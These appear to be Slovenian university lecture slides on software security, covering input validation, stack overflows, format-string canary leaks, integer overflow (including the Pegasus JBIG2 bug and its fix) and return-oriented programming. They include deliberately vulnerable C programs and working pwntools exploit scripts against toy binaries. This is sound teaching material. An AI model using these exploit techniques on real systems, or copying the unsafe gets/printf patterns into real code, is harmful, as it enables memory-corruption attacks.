



Financira
Evropska unija
NextGenerationEU



THE RECOVERY
AND RESILIENCE
PLAN

VARNOST PROGRAMOV



Predavanja #2
Matevž Pesek



DANAŠNJE TEME

Uporabniški vnos in problematike

- Prekoračitev sklada (C)
- Sanitizacija nizov

Uporabniški vnos

- Nujno potreben za komunikacijo s procesom
 - Od stdin/stdout dalje ...
- Problematičen zaradi nepredvidenih zmožnosti
 - Zanašanje na okolje (framework)
- Težave na vseh nivojih
 - C, aplikacije, web (PHP, frontend)



Validacija vnosa

Kaj je to (input validation)?

- Zagotavljanje, da je vnos primeren/pravilen
- Sintaksna validacija
 - Dolžina, podmnožice znakov, poddelitve
 - Npr. email
- Smiselnost vnosa
 - Default: ne zaupaj ničemur!

Kje smo se že srečali z validacijo?

- Uporabniški vmesniki
 - “Client side” (web, app, mobile)
- Zaledni sistemi
 - Omejitve na shemi (baze)
 - Omejitve na modelih (ORM)
- Primeri: web forme
 - Vnos uporabniških podatkov

Kaj pa, če validacijo ignoriramo?

Posledice

- Tipično
 - Napadi z vrivanjem (injection),
 - XSS, SQLi,
 - Remote code execution
- Pogostost
 - Visoka
 - <https://cwe.mitre.org/data/definitions/20.html>


Se lahko popolnoma zaščitimo?

- Ne, lahko pa minimiziramo določene tipe napadov
- Lahko otežimo dostop do sistema
- Po validaciji nas čaka kup korakov
 - Minimizacija procesiranja (overload)
 - Stabilnost sistema
 - Enkapsulacija rezultata poizvedbe

Web?

Pregled naslednjič

- SQL injection
- Cross-site script
- Komentarji
- Popravljanje pogojev
- Timing napadi
- eksfiltracija



Before web, there was a PC ...

Kaj pa vnos na nivoju naprave?

- Dobri stari problemi
 - Prekoračitev medpomnilnika
 - Prekoračitev sklada
 - Prekoračitve v interpreterjih
 - Python, java ...



Najprej ... C :)

Prekoračitve medpomnilnika

- Funkcije, ki nimajo preverjanja omejitev
 - Gets, scanf, strcpy
- Preverjanje omejitev
 - Bounds-check
 - Vedno med delovanjem (run-time)

Dodatne zaščite

- Address space layout randomization (ASLR)
 - Skrivamo lokacijo v fizičnem pomnilniku
- Data execution prevention
 - Označimo dele pomnilnika, od koder ne moremo zaganjati kode
- Structured exception handling overwrite protection (SEHOP)
 - Prepisovanje SEH dela (na skladu)

C – Primeri (vaje)

#1

- `char buf[BUFSIZE];`
`gets(buf);`
 - Sklepamo, da bo uporabnik vnesel manj kot `BUFSIZE` znakov
Šlaba ideja!
- Ne moremo se rešiti vseh problemov z vgrajenimi preventivnimi ukrepi (fgets idr.)
- *Ta primer bomo pogledali še enkrat!*

```
#include <stdio.h>

void win() {
    printf("You win!\n");
}

int main() {
    char buffer[20];
    gets(buffer);

    printf("%s\n", buffer);
    return 0;
}
```

```
import pwn

p = pwn.gdb.debug('./main', '''
    b * main
''')

payload = b'A' * (5*8)
payload += pwn.p64(0x401136)

p.sendline(payload)

p.interactive()
```

C – Primeri (vaje)

#1

- `char buf[BUFSIZE];`
`gets(buf);`
 - Debugger izpis

```
[+] Starting local process '/usr/bin/gdbserver': pid 27292
[+] Starting local process '/usr/bin/gdbserver': pid 27292
[*] running in new terminal: ['/usr/bin/gdb', '-q', './main', '-x', '/tmp/pwn9d0r9v4k.gdb']
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x11@
You win!
$
```

```
0x401165 <main+25>    lea     rax, [rbp - 0x20]
0x401169 <main+29>    mov     rdi, rax
0x40116c <main+32>    call   puts@plt                <puts@plt>
0x401171 <main+37>    mov     eax, 0
0x401176 <main+42>    leave
► 0x401177 <main+43>    ret                            <0x401136; win>
↓
0x401136 <win>       push    rbp
0x401137 <win+1>       mov     rbp, rsp
0x40113a <win+4>       lea     rax, [rip + 0xec3]
0x401141 <win+11>    mov     rdi, rax
0x401144 <win+14>    call   puts@plt                <puts@plt>
```

C - Primeri

#2

- `int bytes; char buf[64],
in[MAX_SIZE];
printf("Enter buffer
contents:\n");
read(0, in, MAX_SIZE-1);
printf("Bytes to copy:\n");
scanf("%d", &bytes);
memcpy(buf, in, bytes);`

#2

- Problem ni nujno le pri branju ...
- Kje je problem?

C - Primeri

#2

- `int bytes; char buf[64], in[MAX_SIZE];`
`printf("Enter buffer contents:\n");`
`read(0, in, MAX_SIZE-1);`
`printf("Bytes to copy:\n");`
`scanf("%d", &bytes);`
`memcpy(buf, in, bytes);`

#2

- Problem ni nujno le pri branju ...
- Kje je problem?
 - Velikost `in` in 64 ...

C - Primeri

#3

- `printf` problem
- Iščemo dostop do `win()` funkcije
- Tokrat je vklopljen kanarček (canary)
 - Se mu lahko izognemo? 😊

```
#include <stdio.h>

void win() {
    printf("You win!\n");
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    char buffer[20];
    char choice = 'n';

    do
    {
        printf("Enter your name: ");
        gets(buffer);

        printf(buffer);
        printf("\n\nIs that correct? [y/n]\n");
        choice = getchar();
        getchar();
    } while (choice != 'y');

    printf("Hello, %s!\n", buffer);

    return 0;
}
```


C - Primeri

#3

- Rešen primer s [pwntools](#) knjižnico

```
import pwn

p = pwn.gdb.debug('./main', '''
    b * main
''')

payload = b'%31$p'
p.sendline(payload)

canary = p.\
    recvline().\
    split()[-1].\
    strip()
canary = int(canary, 16)
print("canary:", hex(canary))

p.recvline()
p.sendline(b'n')

payload = b'A' * 24
payload += pwn.p64(canary)
payload += b'B' * 8
payload += pwn.p64(0x0000000000401176)
p.sendline(payload)

p.sendline(b'y')

p.interactive()
```

C - Primeri

#4

- Integer overflow
 - SMTP

```
int main()
{
    char **segments = malloc(256 * sizeof(char*));
    char recipient[256];
    printf("Enter recipient: ");
    fgets(recipient, 256, stdin);
    recipient[strlen(recipient) - 1] = 0;

    uint8_t segment = 0;
    segments[segment] = malloc(256 * sizeof(char));
    strcpy(segments[segment], "MAIL FROM: <user@example.com>");
    segment++;
    segments[segment] = malloc(256 * sizeof(char));
    sprintf(segments[segment], "RCPT TO: <%s>", recipient);
    segment++;
    segments[segment] = malloc(256 * sizeof(char));
    strcpy(segments[segment], "DATA");
    segment++;

    printf("Enter message:\n");
    char *line = malloc(256 * sizeof(char));
    while (fgets(line, 256, stdin) != 0 && strlen(line) > 1) {
        segments[segment] = malloc(256 * sizeof(char));
        line[strlen(line) - 1] = 0;
        strcpy(segments[segment], line);
        segment++;
    }

    segments[segment] = malloc(256 * sizeof(char));
    strcpy(segments[segment], "");

    printf("SMTP message:\n");
    for (int i = 0; i <= segment; i++) {
        if (strlen(segments[i]) == 0) {
            break;
        }
        printf("%s\n", segments[i]);
    }
}
```

C - Primeri

#5

- Integer overflow napad
 - Izračuna `numSyms` (unsigned `int`)
 - Alocira heap buffer `syms` velikosti `numSyms * 8`
 - Napolni `syms` z vrednosti slike

```
114 numSyms = 0;
115 nRefSegs_1 = nRefSegs;
116 refSegs_1 = (int *)refSegs;
117 v28 = nRefSegs;
118 do
119 {
120     Segment = (JBIG2SymbolDict *)JBIG2Stream::findSegment(this, *refSegs_1);
121     if ( !Segment )
122     {
123         v47 = (*(__int64 (__fastcall *) (JBIG2Stream *)))(*(__QWORD *)this + 40LL)(this);
124         error(v47, "Invalid segment reference in JBIG2 text region");
125         j__free(*(void **)v106);
126         operator delete(v106);
127         return;
128     }
129     v30 = Segment;
130     if ( Segment->vfptr->getType(Segment) == jbig2SegSymbolDict )
131     {
132         numSyms += v30->size;
133     }
134     else if ( v30->vfptr->getType(v30) == jbig2SegCodeTable )
135     {
136         GList::append(v106, v30);
137     }
138     ++refSegs_1;
139     --v28;
140 }
141 while ( v28 );
142 v89 = v12;
143 v91 = v14;
144 v31 = 0;
145 if...
146 syms = (__QWORD *)gmallocn(numSyms, 8u);
147 i_1 = 0LL;
148 k = 0LL;
149 do
150 {
151     seg = (JBIG2SymbolDict *)JBIG2Stream::findSegment(this, refSegs[i_1]);
152     if ( seg
153         && (symbolDict = seg, seg->vfptr->getType(seg) == jbig2SegSymbolDict)
154         && (size = symbolDict->size, (_DWORD)size) )
155     {
156         bitmaps = symbolDict->bitmaps;
157         do
158         {
159             v40 = (__int64)*bitmaps++;
160             kk = (unsigned int)(k + 1);
161             syms[(unsigned int)k] = v40; // crash here !!!
162             LODWORD(k) = k + 1;
163             --size;
164         }
165         while ( size );
166     }
167     else
168     {
169         kk = k;
170     }
171     ++i_1;
172     k = kk;
173 }
174 while ( i_1 != nRefSegs_1 );
```

00085228 __ZN11JBIG2Stream17readTextRegionSegEjiiPjj:161 (181D6E228)


C - Primeri

#5

- Integer overflow napad
 - Pegasus napad
 - iOS 14.6
 - Fix – iOS 14.8
 - Preverba, da ni presežen `syms` buffer


```
149 syms = (_QWORD *)gmallocn(numSyms, 8);
150 i_1 = 0LL;
151 kk = 0;
152 do
153 {
154     seg = (JBIG2SymbolDict *)JBIG2Stream::findSegment(this, refSegs[i_1]);
155     if ( seg )
156     {
157         symbolDict = seg;
158         v37 = seg->vfptr->getType(seg) != jbig2SegSymbolDict || kk >= numSyms;
159         if ( !v37 )
160         {
161             k = 0LL;
162             size = symbolDict->size;
163             do
164             {
165                 if ( size == k )
166                     break;
167                 syms[kk + k] = symbolDict->bitmaps[k];
168                 ++k;
169             }
170             while ( numSyms - (unsigned __int64)kk != k );
171             kk += k;
172         }
173     }
174     ++i_1;
175 }
176 while ( i_1 != nRefSegs );
177 v40 = syms;
178 v12 = v86;
```

000850AC __ZN11JBIG2Streaml7readTextRegionSegEjiiPjj:158 (181D710AC)



Return oriented programming


- Tehnika izkoriščanja ranljivosti, ki presega standardne varnostne omejitve.
- Klicanje majhnih kosov kode (gadgets) v zaporedju, ki je drugačno od osnovnega



Gadgets

Leave / ret

- `char buf[BUFSIZE];`
`gets(buf);`
 - Debugger izpis




```
0x401165 <main+25>    lea     rax, [rbp - 0x20]
0x401169 <main+29>    mov     rdi, rax
0x40116c <main+32>    call   puts@plt          <puts@plt>
0x401171 <main+37>    mov     eax, 0
0x401176 <main+42>    leave
▶ 0x401177 <main+43>    ret                     <0x401136; win>
↓
0x401136 <win>        push    rbp
0x401137 <win+1>        mov     rbp, rsp
0x40113a <win+4>        lea     rax, [rip + 0xec3]
0x401141 <win+11>       mov     rdi, rax
0x401144 <win+14>       call   puts@plt          <puts@plt>
```

Gadgets

Leave / ret

- `char buf[BUFSIZE];`
`gets(buf);`
 - Debugger izpis

`mov rsp, rbp # rsp <- rbp`
`pop rbp`
`pop rip`



```
0x401165 <main+25>    lea    rax, [rbp - 0x20]
0x401169 <main+29>    mov    rdi, rax
0x40116c <main+32>    call   puts@plt          <puts@plt>
0x401171 <main+37>    mov    eax, 0
0x401176 <main+42>    leave
▶ 0x401177 <main+43>    ret                    <0x401136; win>
```

```
↓
0x401136 <win>        push   rbp
0x401137 <win+1>       mov    rbp, rsp
0x40113a <win+4>       lea    rax, [rip + 0xec3]
0x401141 <win+11>    mov    rdi, rax
0x401144 <win+14>    call   puts@plt          <puts@plt>
```


Gadgets

Leave / ret

- `char buf[BUFSIZE];`
`gets(buf);`
 - Debugger izpis

`mov rsp, rbp # rsp <- rbp`
`pop rbp`
`pop rip`

BP -> rbp Base pointer



```
0x401165 <main+25>    lea     rax, [rbp - 0x20]
0x401169 <main+29>    mov     rdi, rax
0x40116c <main+32>    call   puts@plt          <puts@plt>
0x401171 <main+37>    mov     eax, 0
0x401176 <main+42>    leave
▶ 0x401177 <main+43>    ret                     <0x401136; win>
```

↓


```
0x401136 <win>        push    rbp
0x401137 <win+1>       mov     rbp, rsp
0x40113a <win+4>       lea     rax, [rip + 0xec3]
0x401141 <win+11>    mov     rdi, rax
0x401144 <win+14>    call   puts@plt          <puts@plt>
```

Gadgets

Leave / ret

- `char buf[BUFSIZE];`
`gets(buf);`
 - Debugger izpis

`mov rsp, rbp # rsp <- rbp`
`pop rbp`
`pop rip # retAddr -> rip`



```
0x401165 <main+25>    lea    rax, [rbp - 0x20]
0x401169 <main+29>    mov    rdi, rax
0x40116c <main+32>    call   puts@plt
0x401171 <main+37>    mov    eax, 0
0x401176 <main+42>    leave
▶ 0x401177 <main+43>    ret     <0x401136; win>
```

```
↓
0x401136 <win>        push   rbp
0x401137 <win+1>       mov    rbp, rsp
0x40113a <win+4>       lea    rax, [rip + 0xec3]
0x401141 <win+11>     mov    rdi, rax
0x401144 <win+14>     call   puts@plt
```

Gadgets

Primer gadget-a

```
0x00000000043b042 : add rsp, 0x10 ; pop rbx ; ret
0x000000000406280 : add rsp, 0x18 ; pop rbx ; pop rbp ; ret
0x000000000407c01 : add rsp, 8 ; pop rbx ; pop rbp ; ret
0x00000000043002d : mov dword ptr [rbx + 0x40], esi ; pop rbx ; ret
0x00000000043801f : mov dword ptr [rbx], ecx ; pop rbx ; ret
0x00000000041a0a9 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret
0x00000000045e370 : pop rbp ; pop r12 ; ret
0x00000000042290c : pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
0x0000000004023e3 : pop rbx ; pop rbp ; pop r12 ; ret
0x00000000040fab2 : pop rbx ; pop rbp ; ret
0x0000000004019c6 : pop rbx ; ret
0x00000000040a9fb : mov rax, rbx ; pop rbx ; pop rbp ; pop r12 ; ret
0x00000000041cfd8 : pop rbx ; pop rbp ; mov rax, rcx ; pop r12 ; ret
0x0000000004041a0 : mov rax, rdx ; pop rbx ; pop rbp ; ret
0x00000000043bacd : nop ; pop rbx ; mov eax, edx ; pop rbp ; pop r12 ; ret
0x000000000468854 : pop rbx ; jmp 0x41cb70
0x00000000040849f : pop rbx ; jmp rax
0x000000000430cf3 : pop rbx ; pop rbp ; pop r12 ; jmp 0x430a50
0x00000000040a201 : pop rbx ; jmp 0x408800
0x000000000405b89 : pop rbx ; pop rbp ; jmp 0x408800
0x0000000004570c9 : pop rbx ; pop rbp ; mov rax, r12 ; pop r12 ; ret
```

Zakaj lahko izkoristimo gadget-e?

- Zaradi kompleksnosti kode in optimizacije, imamo mnogo “pop/ret” kombinacij
- Imamo lahko mnogo gadget-ov
- Lahko nastavimo mnogo sebi ljubih vrednosti v register
- Namesto na poljubno funkcijo (primer `win()`) skočimo na poljubni gadget

C - Primeri

#6

- Nadgradnja win() primera
 - Pozor – nastavitev vrednosti spremenljivk!

```
#include <stdio.h>

void win(long a, long b)
{
    if (a == 0xdeadbeef && b == 0xbadc0ffee)
        printf("You win!\n");
    else
        printf("You lose!\n");
}

int main()
{
    char buffer[32];
    gets(buffer);
}
```

Kako se izogniti ROP?

Vgrajeni mehanizmi

- ASLR
 - Address space layout randomization
- G-Free
 - Izogibanje "free-branch" zaporedjem ukazov
 - Dodajanje avtentičnosti klicev z validacijo (porobno XOR Canary)
- Binary code randomization
- SEHOP
 - Structured Exception Handler Overwrite Protection


Naprednejši primeri

- Blind ROP
 - Nimamo dostopa do exec kode
 - Poskušamo (in crashamo) proces
 - Deluje zgolj, če imamo neomejene možnosti zagona procesa (ali auto-restart)
 - Primer: nginx + MySQL
- BlindSide napad
 - Dostop do roota
 - https://www.youtube.com/watch?v=m-FUIZiRN5o&ab_channel=VUSec

Web?

Pregled naslednjič

- SQL injection
- Cross-site script
- Komentarji
- Popravljanje pogojev
- Timing napadi
- eksfiltracija



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HVALA

Vaje

- Printf primeri
- Return oriented programming primeri